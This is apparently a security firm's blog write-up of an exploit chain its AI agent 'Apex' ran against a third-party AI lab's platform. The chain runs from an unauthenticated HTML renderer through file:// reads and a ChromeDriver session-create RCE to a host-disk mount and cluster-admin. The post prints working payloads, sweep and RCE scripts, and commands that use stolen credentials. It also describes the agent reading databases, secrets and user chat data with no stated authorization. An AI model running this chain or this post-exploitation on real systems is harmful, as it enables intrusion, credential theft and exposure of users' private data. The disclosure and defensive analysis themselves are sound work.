Skip to main content

Introducing open weights model Apex Flash-1

All articles

Vulnerability Research

Accessing Frontier Model Weights

How we uncovered a critical vulnerability that led to internal access on an AI lab's training infra.

Tasos Meletlidis, opens in a new tab 24 min read
offensive security AI infrastructure kubernetes SSRF privilege escalation
On this page

How it started

As a general rule of thumb we test the security of inference gateways we use ourselves. The last year brought a steady run of serious failures in AI infrastructure. Attackers broke into the inference provider Fireworks AI through compromised credentials and reached customer datasets, secrets, and incomplete model weights. Weeks later, NEAR AI disclosed that attackers used a remote code execution flaw in the SGLang inference engine to break out of its confidential computing environment and reach about 100 users' account details and chat history. These are the platforms we and our clients build on. We wanted to know whether they treat security seriously, so we pointed Apex at a number of them and watched what came back.

One stood out way more than the others. It was found on an AI lab that trains its own large language models and serves them through a managed platform, with first-party agent products layered on top. We found a serious issue in a piece of that infrastructure that was exposed to the public internet, though it was never meant to be. The finding described here was reported to the affected lab in August 2026, disclosed responsibly, and has since been patched.

The lead was a headless HTML-to-image renderer, the rendering backend of a first-party slide and document generator. The product pipeline posted its generated HTML, and it drove a headless browser to screenshot that HTML into the images a deck or report was assembled from. The render route carried no authentication. It was written as an internal microservice, on the assumption that only the product's own backend would ever reach it.

This was found by using the product, then following the slide-export feature back to the service that powered it. That internal renderer answered on its own port with no authentication, so Apex could call it directly instead of through the product's authenticated path.

Inspecting the endpoint

Internally the service drove a headless Chromium through a WebDriver automation driver, pointed the browser at the provided markup, and returned a screenshot.

render requesthttp
POST /html-to-image HTTP/1.1
Host: <renderer>
Content-Type: application/json

{
  "pages": [
    "<!doctype html><html>…attacker markup…</html>"
  ],
  "width": 1200,
  "height": 800
}

What we were looking at was a known soft spot, a server that renders attacker HTML in a real browser. The markup does not just get displayed, it executes, which turns the rendering server into an attacker-controlled browser running inside the network. That is the server-side XSS and headless-browser SSRF pattern, and when the browser is not locked down it becomes a way to reach whatever it can reach from where it runs, from loopback services to cloud metadata to local files. Apex recognized the shape and pushed on it.

On its own, a renderer that reflects HTML is a low-severity curiosity. Whether it was anything more came down to how it had been deployed, and the fastest way to learn that was to make the renderer hand over its own source.

Reading the box before breaking it

Apex started with the most common probe against a server-side renderer, a local-file read. If the browser would load file:// URLs it would read the host filesystem. Apex pointed an iframe at file:///etc/passwd, rendered, and the file came back inside the screenshot. That it worked at all showed the browser had been launched without the isolation that normally blocks a page from reading local files.

probehtml
<!-- attacker HTML, submitted to /html-to-image as a page -->
<iframe src="file:///etc/passwd" style="width:1200px;height:600px"></iframe>
<!-- the screenshot comes back showing /etc/passwd, so the renderer reads local files -->
screenshottext
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
… (truncated)

A file read is also the cheapest way to learn what the box is. Apex read /proc/1/cmdline, the command line of the init process, and it came back as uv run python server.py. PID 1 was a small Python render server rather than a hardened appliance, which meant the whole application would be short and readable.

procfshtml
<iframe src="file:///proc/1/cmdline" style="width:1400px;height:120px"></iframe>
<!-- the screenshot reads back "uv run python server.py", so PID 1 is the render server -->

The command line named the script but not its directory. /proc/1/cwd is a symlink to the process working directory, so reading file:///proc/1/cwd/server.py pulled the running source straight off disk.

resolve the path, then read the sourcehtml
<!-- /proc/1/cwd symlinks to the process working directory -->
<iframe src="file:///proc/1/cwd/server.py" style="width:1800px;height:6500px"></iframe>
<!-- the screenshot now carries the full server source -->

The renderer returned only JPEGs, so there was no text channel to read back. Each file Apex pointed an iframe at was rendered into the screenshot, and the screenshot was turned back into text locally.

Reading a long file took a little care. The page Apex submitted was a tall iframe pointed at the target path, say file:///proc/1/cwd/server.py, sized to the whole file and zoomed up so the monospace text rendered large and clean for OCR. The returned JPEG was cropped to its content and upscaled, then run through tesseract --psm 6, which treats the image as one uniform block of text. A tall enough frame returned the whole file in a single render.

render pagehtml
<style>
  html, body { margin: 0; background: #fff }
  iframe     { width: 1400px; height: 12000px; border: 0; zoom: 1.5 }
</style>
<iframe src="file:///proc/1/cwd/server.py"></iframe>
<!-- a .py renders as monospace text, so a tall zoomed frame makes the OCR clean -->
local decodebash
# the read file came back as a JPEG, turn it back into text
python3 - <<'PY'
from PIL import Image
im = Image.open("page_1.jpg")                  # the returned screenshot
im = im.crop(im.getbbox())                     # trim to the content
im = im.resize((im.width * 2, im.height * 2))  # upscale 2x so OCR is clean
im.save("ocr_input.png")
PY

tesseract ocr_input.png stdout --psm 6         # read it as one block of text
# > the file's contents, as text

The same file:// iframe and OCR loop transcribed the application during recon. Env files, driver paths, /etc/hosts, and service configs were all read as screenshots before any code execution was attempted.

server.pypython
opts = ChromeOptions()
opts.add_argument("--disable-web-security")   # (1) same-origin policy OFF
opts.add_argument("--no-sandbox")
driver = webdriver.Chrome(options=opts)       # driver binds 127.0.0.1:<ephemeral>

@app.post("/html-to-image")                   # (2) no auth, no origin check
def render():
    html = request.json["pages"][0]
    path = f"/tmp/{uuid4()}.html"; open(path, "w").write(html)
    driver.get("file://" + path)              # (3) top-level file:// navigation
    return screenshot(driver)                 # only output: an image

def screenshot(driver):
    png = driver.get_screenshot_as_png()      # capture the rendered page
    img = Image.open(io.BytesIO(png))
    buf = io.BytesIO(); img.convert("RGB").save(buf, "JPEG")
    return Response(buf.getvalue(), mimetype="image/jpeg")

The source read like a list of the controls that were not there. --disable-web-security turned off the same-origin policy, so script in the rendered page could read cross-origin responses and local files instead of getting opaque ones. --no-sandbox removed Chromium's process sandbox, the layer that would otherwise contain a compromised renderer. Serving each job by navigating the top frame to a file:// URL meant the attacker's markup ran from a local, trusted origin with a file reader attached rather than as a sandboxed remote page. And /html-to-image had no authentication and no origin check, so any client on the internet could submit markup.

The rest of the recon filled in the surroundings. The process environment named CHROMEDRIVER_PATH and CHROMIUM_BINARY, confirming a WebDriver driver was present and where its binary sat. .env and .git/config gave up cloud object-storage keys, a live CI token, and the internal repository URL. The most consequential read was the quietest. /etc/hosts pinned internal platform hostnames to this node, the first sign that the "renderer" was not an isolated worker but a box sitting in the middle of the platform.

Pivoting to WebDriver RCE

The source read showed --disable-web-security, which switches off the browser's same-origin policy. Normally a page can send a cross-origin request but cannot read the response, and a call from a public page to 127.0.0.1 is refused by the browser before it ever leaves. With the policy off, script in the rendered page can fetch any origin, loopback included, and read the body back. That one flag is what puts localhost in reach from inside a screenshot job.

fetch loopback from the rendered pagejavascript
// web security is off, so this cross-origin read succeeds
const r = await fetch(`http://127.0.0.1:45017/status`, { mode: "cors" });
const j = await r.json();        // readable JSON, not an opaque response
// > { value: { ready: true, build: { version: "ChromeDriver 142..." } } }
chrome console
Access to fetch at 'http://127.0.0.1:45017/status' from origin 'file://'
has been blocked by CORS policy. TypeError: Failed to fetch

The thing worth finding on localhost was the browser's own automation driver. The renderer does not drive Chromium directly, it drives it through WebDriver, a standard protocol browsers expose for automated testing. A driver like ChromeDriver runs as a small HTTP server bound to loopback, and a client controls the browser by posting JSON commands to it, create a session, navigate, screenshot. The command that creates a session also chooses which browser binary to launch and with what arguments, which can be pivoted to RCE.

Everything from here is a race against the renderer's own clock. The renderer runs each page only briefly, then screenshots it and tears the browser down, so the script has one short window to find the driver's port and fire the session-create that runs the command. A full loopback sweep takes longer than that window, so the first move is to buy time. The renderer schedules its own teardown with a known short delay, so the script hooks setTimeout, matches that delay, and stretches just that one callback.

timer hookjavascript
const _setTimeout = window.setTimeout;
window.setTimeout = function(fn, delay, ...a) {
  // the renderer schedules teardown with a known short delay
  if (delay === 100) delay = 17000;
  return _setTimeout(fn, delay, ...a);
};

The driver binds an OS ephemeral port (Linux default 32768–60999). A worker pool races the range, hits each candidate's /status, and matches the driver banner. --disable-web-security is why these cross-origin reads to 127.0.0.1 return readable, not opaque.

loopback sweepjavascript
const LO = 32768, HI = 60999, WORKERS = 192;
let next = LO, found = null;
async function worker() {
  while (next <= HI && !found) {
    const port = next++;
    try {
      const r = await fetch(`http://127.0.0.1:${port}/status`, { mode: "cors" });
      const j = await r.json();
      if (/ChromeDriver/i.test(JSON.stringify(j))) found = port;  // self-identifying
    } catch (e) { /* closed / not it */ }
  }
}
await Promise.all(Array.from({length: WORKERS}, worker));

A WebDriver POST /session names the browser executable and its arguments through the driver's own capabilities, and the driver launches exactly what it is told. Two properties make that reachable from inside a rendered page.

The first is the preflight rule. A cross-origin POST normally triggers a CORS preflight, an OPTIONS request the server can reject before the real one is sent. That preflight is skipped for simple requests, and a POST qualifies as simple when its Content-Type is text/plain. Send the session-create body as text/plain;charset=UTF-8 and the browser delivers it straight to the driver, with nothing to block it. The attacker never needs to read the response either, so the same-origin restriction on the reply does not matter. It is a blind, fire-and-forget CSRF aimed at localhost.

The second is the binary override. The goog:chromeOptions.binary capability chooses which executable the driver launches, and args supplies its command line. Point binary at an interpreter and pass a program in args, and the driver runs that program while believing it is starting a browser.

session create - the RCEjavascript
fetch(`http://127.0.0.1:${found}/session`, {
  method: "POST",
  headers: { "Content-Type": "text/plain;charset=UTF-8" }, // simple request > no preflight
  body: JSON.stringify({ capabilities: { alwaysMatch: {
      "goog:chromeOptions": {
        binary: "/usr/bin/python3",     // the "browser"
        args: [ "-c" + PROGRAM ]        // single argv token (modern-driver quirk)
      } } } })
});

Modern driver builds collapse args onto the binary as one token. Pack the payload as a single -c<program> argument. So the driver launches python3 -c <program> believing it is starting a browser, and the program is any code the caller wants. A one-liner that shells out, such as import os; os.system("id; hostname"), runs as the renderer's user, which is root. The driver then cannot speak DevTools to a Python process and reports a failed session, but the command has already run.

This exact chain, scan loopback for the ChromeDriver, point its binary at an interpreter, is a tired capture-the-flag cheese, the unintended solution players reach for when they cannot find the author's intended bug. Apex reached for it because the same move turns up over and over in CTF write-ups. It is well documented, and Chromium closed the underlying CSRF as won't-fix. The difference here is that the same shortcut sat in front of a real model-serving platform, and no mitigations had been applied.

Container escape to cluster-admin

Now that we had confirmed root RCE, it was time for Apex to do some post-exploitation enumeration and build situational awareness. What you can reach decides what you do, and reads are cheap and reversible while a wrong action is loud.

So the first commands only ask questions. Am I in a container, and how locked down is it? What process am I, and what does its environment hold? What capabilities and devices did the container keep? Each answer points at the next, and the box ends up describing its own way out.

container identity enumeration
$ ls -la /.dockerenv; cat /proc/self/cgroup
-rwxr-xr-x 1 root root 0 /.dockerenv     # it is a container
0::/                                     # cgroup v2, root cgroup
$ tr '\0' ' ' < /proc/1/cmdline
uv run python server.py                  # PID 1 = the render server
$ env | grep -iE 'driver|chrom'
CHROMEDRIVER_PATH=/usr/bin/chromedriver  # the driver we just abused
CHROMIUM_BINARY=/usr/bin/chromium

Each read confirms a piece of the picture. PID 1 is the render server, the same process the source recon mapped, so this is the renderer itself and not some sidecar. The cgroup line and the /.dockerenv marker say it is a container, and the environment hands back the driver paths. What decides whether that container can be escaped is how strong it is, and that comes down to two things, the capabilities it kept and the devices it can see.

privilege & device enumeration
$ grep Cap /proc/self/status
CapInh: 0000000000000000
CapPrm: 000001ffffffffff
CapEff: 000001ffffffffff       # every capability
$ ls /dev/vda* /dev/vdb*
/dev/vda  /dev/vda1  /dev/vdb  # host block devices are visible
renderer container CapEff = all · host /dev present root shell (via RCE) host disks /dev/vda, /dev/vdb losetup + mount -o ro,nouuid host root filesystem control-plane node, read off disk /etc/kubernetes/manifests/ admin.conf · system:masters = cluster-admin pki/ · kubelet.conf 727 GB XFS data disk loop-mount read-only Host kernel · shared by container and host

A full capability set plus host device nodes means container isolation is already gone, and no kernel bug is needed. The host disks appear as block devices, so they can be loop-mounted read-only and read straight off. Two mount flags keep that read from ever writing back. norecovery skips XFS journal replay, which would otherwise write to the device while recovering a dirty log, so the mount uses the last consistent on-disk state and touches nothing. nouuid skips the UUID uniqueness check, which normally refuses a filesystem whose UUID is already mounted, and the host has this exact volume mounted, so without the flag the loop copy would be rejected. Both are ordinary administrative options, and in a container that should never see a host disk, they were enough to read it.

host filesystem read
$ losetup -fr --show /dev/vda1          # read-only loop device
/dev/loop0
$ mount -o ro,norecovery /dev/loop0 /mnt/host
$ ls /mnt/host/etc/kubernetes/
admin.conf  controller-manager.conf  kubelet.conf  manifests/  pki/  scheduler.conf
$ losetup -fr --show /dev/vdb && mount -o ro,norecovery,nouuid /dev/loop1 /mnt/data

Those filenames were the giveaway. admin.conf and a static-pod manifests/ directory only exist on a Kubernetes control-plane node, so the renderer had been scheduled onto one of the cluster's own master nodes. admin.conf is the cluster's break-glass kubeconfig, and the client certificate inside it belongs to the system:masters group, which Kubernetes treats as unconditional cluster-admin. The file was read and used as a credential.

admin.conf > cluster-admin
# the kubeconfig embeds a client cert, decode it and read whose identity it is
$ yq '.users[0].user.client-certificate-data' admin.conf | base64 -d \
    | openssl x509 -noout -subject
subject=O = system:masters, CN = kubernetes-admin
# O = system:masters is Kubernetes' built-in cluster-admin group

# use that same cert to call the API server, it answers as cluster-admin
$ curl -sk --cacert ca.crt --cert client.crt --key client.key \
       https://<node>:6443/api/v1/namespaces/kube-system/secrets \
       | jq -r '.items[].metadata.name'
argocd-manager-token-dxwdl    # the API answers at all, so the cert is cluster-admin
bootstrap-token-7q9f2k
clustergroup-admin-token
… full secret inventory comes later, across all 21 namespaces

The disks held far more than the kubeconfig. The root volume carried /etc/kubernetes/, the platform's full install tree, and the live database files on disk (WiredTiger, MySQL, Redis, object-store data). The etcd store was 493 MB of offline cluster state, every object in the cluster, readable without touching the API. The 727 GB data volume held the overlay filesystems of all 46 application containers (each service's source and baked-in secrets), a ~21.5 GB container image store, platform logs with model weights, and NFS-backed persistent volumes (the registry's blob store, Postgres data, and the cluster's Loki logs).

From one admin to the whole platform

Holding cluster-admin is where lateral movement begins, not where it ends. The captured certificate authenticated as the cluster's built-in super-user, so the next move was just to look. Apex walked the cluster the way an operator would, making ordinary read-only API calls with that certificate, one namespace at a time. Nothing was written and nothing was exploited. The API simply answered every question an administrator is allowed to ask.

read-only cluster enumerationbash
K="curl -sk --cacert ca.crt --cert client.crt --key client.key https://<node>:6443"

# inventory every namespace, pod phase, secret name
$K/api/v1/namespaces | jq -r '.items[].metadata.name'
$K/api/v1/pods       | jq -r '.items[] | [.metadata.namespace,.status.phase] | @tsv' | sort | uniq -c
for ns in $(cat namespaces); do
  $K/api/v1/namespaces/$ns/secrets | jq -r '.items[].metadata.name'
done
cluster enumeration
$ $K/api/v1/namespaces | jq -r '.items[].metadata.name'
gitops  registry  platform  monitoring  inference  finetune
ingress  cni  cni-operator  kube-system  … (21 total)
$ $K/api/v1/pods | jq -r '.items[].metadata.namespace' | sort | uniq -c
  12171 cni-operator  # 12,170 Failed, never reaped
    157 inference
    133 monitoring
      9 kube-system
      8 platform
      7 registry
      7 gitops
      1 ingress
$ $K/api/v1/pods | jq -r '.items[]|select(.status.phase=="Running")|.metadata.namespace' | wc -l
64                    # only 64 of them actually Running
$ for ns in $(cat namespaces); do $K/…/$ns/secrets; done | jq '.items[].metadata.name' | wc -l
66                    # 66 secrets across 21 namespaces

What ran, and what the pods held

The cluster was large and mostly dead weight. Roughly 12,500 pods across 21 namespaces. Only ~64 were Running. The rest were a single CNI-operator namespace with a ~12,170-pod crash-loop backlog of Failed pods nobody had reaped. Signal lived in a handful of namespaces.

Counts and exposure representative.
Namespace rolePodsWhat its pods / secrets exposed
GitOps controller~7Admin password, server signing key, Redis auth, both clusters' client certs, helm-repo creds
Image registry~7Admin password (reused), Postgres password, registry HTTP secret, htpasswd hash
Platform (MaaS) API~8Service DB creds in pod env, plus the wildcard TLS private key for the platform's own domains
Monitoring stack~130Grafana admin, metrics/log-store user passwords, alerting creds
Ingress controller~1Traffic routing for every host, rewriteable with cluster-admin
Inference / fine-tune pools~157Pull secrets (reused registry admin), GPU job scheduling, model-hub mount paths
CNI + operator~6CA private key for the cluster's pod-network identity, plus the crash-loop backlog

The secret store was a credential dump by design, treated as a safe place for plaintext. The defining weakness was reuse. One registry admin password was also the GitOps repo password and the image-pull secret in nine namespaces. Default passwords (changeit, trivial root/root pairs) survived into production on databases and consoles.

secret decode + credential reuse (read-only)
$ $K/api/v1/namespaces/gitops/secrets/regcred \
    | jq -r '.data[".dockerconfigjson"]' | base64 -d
{"auths":{"<registry>":{"username":"admin","password":"<reused-pw>"}}}
# same password in regcred across 9 namespaces, and as the GitOps repo
# credential and the registry admin - one secret, the whole supply chain
$ mysql -h <host> -uroot -p<reused-pw> -e 'select count(*) from logging.job_info'
28092
$ mongosh "mongodb://<user>:<pw>@<host>:27017" --quiet \
    --eval 'db.adminCommand({listDatabases:1}).databases.length'
10
$ redis-cli -h <host> -a <pw> ping
PONG

The data and model planes

Apex reused the leaked credentials against the data stores, reaching every database, cache, and object store. One object-storage console accepted default credentials (root/rootroot) straight from the internet, granting read and write over 263,397 objects / 17.1 GB of user uploads, evaluation datasets, and the platform's own Loki log chunks. Audit-grade logs, including kube-apiserver records, sat in a bucket keyed by a default password. The relational tier held a 114-table application database (54 user rows, 8,000 invitation codes) and a 65-table platform database whose job log alone ran to 28,092 rows. The document database held the model control plane, with 10 databases, the registry, and 1,483 node events.

model-registry enumeration (read-only)python
from pymongo import MongoClient
db = MongoClient("mongodb://<user>:<pw>@<host>:27017")   # leaked creds, elided
for name in db.list_database_names():
    print(name, [ (c, db[name][c].estimated_document_count())
                   for c in db[name].list_collection_names() ])
# model_instance_server.model > 36 deployed models (+ deploy templates)
# fine_tuning.models        > 15 training-weight entries
# resource_manager.nodes    > GPU cluster + node inventory

Each of the 36 deployed-model documents and 15 fine-tuning entries carried its full deployment recipe. That recipe named the GitOps/Helm chart that stands the model up, the serving runtime, and the quantization variants built for each accelerator (8-bit weight, 8-bit weight-and-activation, and 8-bit KV-cache builds). The registry recorded how the lab builds, quantizes, and serves each model, down to the deployment recipe.

Several of those checkpoints had no public release. The store held internal dense models well above the parameter counts the lab had shipped publicly, large mixture-of-experts and vision-MoE weights, and fine-tuning builds of models that never left the lab. For a competitor or a leaker, that registry alone was a map of the unreleased roadmap, showing which architectures existed, at what parameter scale, at what quantization, and trained for which hardware. The weight blobs themselves were not in the document store. They sat on the GPU clusters' shared storage under a model-hub path. We did not pull them, but the client certificates needed to reach that storage were already captured in the sprawl above, so retrieving the weights would have taken only bandwidth.

The inference plane came attached. The documents named the training and serving runtimes, the GPU-fleet templates the models targeted (a mix of 80 GB-class datacenter accelerators and 64 GB-class NPUs), and the resource pools they ran in. The model-API admin key was sitting in the document store. Two embedding and rerank inference endpoints answered with no authentication at all. Weight-distribution tarballs on the order of 33 GB and 11 GB were staged in the pipeline's own object buckets. That handed an attacker the models and the machinery that trains, quantizes, and serves them.

Third-party credentials and identity

The credential sprawl did not stop at the cluster's own services. It reached into third-party accounts that are not scoped to this box at all. The renderer's .env, read back during recon, carried a cloud object-storage key pair for a bucket that backed a production CDN, so those keys were live against infrastructure far outside the demo host. The git config held a working CI token for the internal source host, enough to read the product's source tree and its pipeline metadata. The identity plane leaked too. An SSO application's client ID and secret for the lab's single-sign-on tenant were recoverable, which was the material needed to impersonate that application inside the auth flow. None of this was exercised past capture. All of it is reported for rotation, because each item was an independent way back in even after the renderer was fixed.

User and operator data

Personal data was exposed at every tier. The application database held the real user table with password hashes, plus registration and promotion records, the product's chat history and message store, user-uploaded documents and saved "memory" entries, and 8,000 invitation codes. The public object store added the raw user uploads and evaluation datasets as files anyone on the internet could download. Operator activity was visible as well. It included administrator login logs with source IP addresses, an operation-audit log, and the on-disk license record naming a specific employee as its issuer. Chat transcripts and audit-grade request logs are sensitive on their own and regulated in aggregate. Here both sat behind reused or default credentials, one of them readable straight from the internet.

attacker code runs on both clusters at next sync SUPPLY-CHAIN LOOP GitOps admin deploy anything to either cluster push > deploy poisoned image · GitOps reconciles Registry admin push images (reused password) 2nd GPU cluster full client-cert chain Data + PII databases · 263k objects · TLS + SSO keys cluster-admin both clusters 1 captured credential THE PRIZE Private model weights + inference 36 + 15 model / FT entries serving pipeline model-API admin key unauthenticated embedding/rerank endpoints weight blobs on GPU storage (certs already held)

Impact, by the numbers

12,499
pods enumerated
66
secrets decoded
263,397
private objects R/W
17.1 GB
object store R/W
727 GB
host disk read
493 MB
etcd state, offline
28,092
job-log rows
36 + 15
models + FT entries
Maximum pivot

The worst case scenario would require no new access at all. With the registry and GitOps admin passwords already in hand, an attacker could push a poisoned image and let the GitOps controller roll it out across both clusters on the next reconcile. On a platform whose job is serving models, that is where the real damage sits. The same position lets you swap a production model for a backdoored copy that every user then runs, or sit in the middle of the inference path and read or alter the prompts and responses moving through it, all from credentials this one chain already exposed.

Seven links across five trust boundaries

Laid out end to end, the chain is one unauthenticated request falling through five trust boundaries that should each have stopped it. The red frames mark the ones that did not. The dashed line is the request itself, becoming root on the node, then cluster-admin, then a route to the model weights, before the loop on the left folds that access back into both clusters as a supply-chain compromise.

Untrusted internet Attacker · one HTTP request unauthenticated POST /html-to-image accepts arbitrary HTML Renderer container Headless Chromium --disable-web-security Loopback sweep races port range 32768-60999 WebDriver cross origin access to loopback POST /session binary=python3 > RCE as root Host control-plane node Loop-mount host disk losetup + mount -o ro · host root FS admin.conf kubeconfig client cert in group system:masters Kubernetes API · secret store API :6443 · cluster-admin ~12,500 pods 66 secrets decoded creds · TLS keys · 2nd-cluster certs Blast radius GitOps admin deploy anything Registry admin push images 2nd GPU cluster full client-cert chain Data + PII databases · 263k objects The prize: private model weights + inference 36 + 15 model / FT entries · model-API key Maximum pivot: supply-chain loop poisoned image > GitOps reconciles > runs on both clusters

A sophisticated exploit was never needed for this chain. On its own, each link looks low-severity, but strung together they took us from an open port all the way to the model weights.

Each of these pieces had been signed off on its own, so no one was looking at what they added up to across the whole cluster, and that is the part we had Apex chase. It is built for long-horizon tasks, so it followed the chain the entire way in one run, from the renderer to cluster-admin. This is the same gap behind most of the AI breaches of the past year. The field is being built far faster than it is being secured, and as the infrastructure has piled up, the real attacks against it have climbed right alongside.